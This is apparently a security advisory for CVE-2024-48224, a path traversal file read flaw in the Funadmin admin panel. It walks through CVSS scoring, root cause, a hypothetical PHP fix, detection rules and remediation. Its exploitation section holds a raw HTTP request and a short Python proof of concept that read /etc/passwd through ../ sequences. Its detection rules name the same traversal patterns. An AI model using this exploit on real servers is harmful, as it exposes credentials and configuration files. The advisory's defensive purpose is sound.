CVE-2024-48224

Executive Summary

CVE-2024-48224 is an arbitrary file read vulnerability discovered in Funadmin v5.0.2, a popular open-source administration panel. The flaw resides in the /curd/index/editfile endpoint, which fails to properly sanitize user-supplied file paths, allowing an authenticated attacker to read arbitrary files on the server. This can lead to the exposure of sensitive configuration files, source code, credentials, and other confidential data. The vulnerability has a CVSS v3.1 base score of 6.5 (Medium), with a vector emphasizing network-based, low-complexity attacks requiring low privileges. No public exploit code or patch is currently available, making proactive detection and mitigation critical.

Supply Chain & Package Security

Funadmin is a PHP-based web application. While not distributed via NPM, PyPI, Go, or Ruby registries, it is often deployed via Composer (PHP package manager) or direct download. Organizations using Funadmin should verify their version and apply any available security updates immediately. The lack of an official patch increases the risk of supply chain compromise if the application is used as a dependency in larger projects.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
• Base Score: 6.5 (Medium)
• Attack Vector: Network (AV:N) – The vulnerability can be exploited remotely.
• Attack Complexity: Low (AC:L) – No special conditions are required.
• Privileges Required: Low (PR:L) – An attacker needs a valid user account.
• User Interaction: None (UI:N) – No victim interaction is needed.
• Scope: Unchanged (S:U) – The vulnerable component and the impacted component are the same.
• Confidentiality Impact: High (C:H) – Sensitive files can be read.
• Integrity Impact: None (I:N) – No file modification is possible.
• Availability Impact: None (A:N) – No denial of service.

Threat Level: Medium. While the CVSS score is moderate, the potential for information disclosure (e.g., reading /etc/passwd, database configs, or application source code) makes this a serious concern for any organization using Funadmin.

Deep Dive & Mechanics

The vulnerability exists in the editfile action of the curd controller. The application likely uses a parameter (e.g., file or path) to specify which file to edit. Due to insufficient input validation and path traversal sanitization, an attacker can supply a path like ../../../../etc/passwd to read arbitrary files outside the intended web root.

Root Cause: The application fails to:

1. Validate that the requested file is within an allowed directory (e.g., the application's template or configuration directory).
2. Strip or block path traversal sequences (../).
3. Use a whitelist of allowed file extensions or names.

Attack Flow:

1. Authenticate to the Funadmin panel (requires low privileges).
2. Send a GET or POST request to /curd/index/editfile with a malicious file parameter.
3. The server reads and returns the contents of the specified file.

Vulnerable vs. Patched Code

Since no official patch is available, the following is a hypothetical fix based on common secure coding practices.

Vulnerable Code (PHP example):

// Vulnerable: No path validation
$file = $_GET['file'];
$content = file_get_contents($file);
echo $content;

Patched Code (PHP example):

// Patched: Validate and restrict path
$allowedDir = realpath(__DIR__ . '/../templates/');
$file = realpath($allowedDir . '/' . basename($_GET['file']));

if (strpos($file, $allowedDir) !== 0) {
    die('Access denied.');
}

if (file_exists($file) && is_file($file)) {
    $content = file_get_contents($file);
    echo htmlspecialchars($content);
} else {
    echo 'File not found.';
}

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A valid low-privilege user account on Funadmin v5.0.2.
• Network access to the vulnerable endpoint.

Exploit Steps:

1. Log in to the Funadmin panel.
2. Craft a request to read sensitive files:

   GET /curd/index/editfile?file=../../../../etc/passwd HTTP/1.1
   Host: target.com
   Cookie: PHPSESSID=your_session_id
   

3. The server will return the contents of /etc/passwd.

Proof-of-Concept (Python):

import requests

target = "http://target.com"
session = requests.Session()

# Login first (example credentials)
login_data = {"username": "user", "password": "pass"}
session.post(f"{target}/index/login", data=login_data)

# Exploit
payload = "../../../../etc/passwd"
r = session.get(f"{target}/curd/index/editfile", params={"file": payload})
print(r.text)

Blue Team (Detection & Hardening)

Detection:

• Monitor for requests to /curd/index/editfile with suspicious file parameters containing ../ or absolute paths.
• Alert on unusual file reads (e.g., /etc/passwd, /proc/self/environ).

Hardening:

• Apply input validation and path sanitization as shown in the patched code.
• Restrict file read permissions for the web server user.
• Use a Web Application Firewall (WAF) to block path traversal patterns.
• Implement strict directory whitelisting for file operations.

Indicators of Compromise (IOCs)

• Network IOCs:

  • HTTP requests to /curd/index/editfile with file parameter containing ../ or absolute paths.
  • Unusual outbound data transfers containing sensitive file contents (e.g., /etc/passwd).

• File System IOCs:

  • Unexpected access to /etc/passwd, /etc/shadow, .env, config.php, or other sensitive files.
  • Web server logs showing file_get_contents() calls with path traversal strings.

• Log IOCs:

  • Web server access logs with entries like:

    GET /curd/index/editfile?file=../../../../etc/passwd HTTP/1.1
    

Detection Engineering

YARA Rule

rule CVE_2024_48224_Arbitrary_File_Read {
    meta:
        description = "Detects attempts to exploit CVE-2024-48224 in Funadmin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-48224"
    strings:
        $path_traversal = /\.\.\/|\.\.\\|%2e%2e%2f|%2e%2e%5c/i
        $endpoint = "/curd/index/editfile"
    condition:
        $endpoint and $path_traversal
}

Sigma Rule

title: CVE-2024-48224 - Funadmin Arbitrary File Read Attempt
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects HTTP requests targeting the vulnerable endpoint with path traversal patterns.
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-48224
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains: '/curd/index/editfile'
        cs-uri-query|contains: 
            - '..'
            - '%2e%2e'
    condition: selection
falsepositives:
    - Legitimate file editing within allowed directories (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-48224 - Funadmin Arbitrary File Read Attempt"; flow:to_server,established; content:"/curd/index/editfile"; http_uri; content:"file="; http_uri; pcre:"/\.\.\//i"; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate the Funadmin instance if possible, or restrict network access to trusted users only.
2. Apply the patched code logic (see Vulnerable vs. Patched Code section) to the vulnerable endpoint.
3. Monitor logs for exploitation attempts and review any successful file reads.

Long-Term Fixes:

• Upgrade to a patched version once released by the vendor.
• Implement a Web Application Firewall (WAF) with rules to block path traversal.
• Conduct a security audit of the entire Funadmin codebase for similar vulnerabilities.
• Enforce the principle of least privilege for all user accounts.

Workarounds:

• Disable the /curd/index/editfile endpoint if not needed.
• Use a reverse proxy to filter requests containing ../ in the query string.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert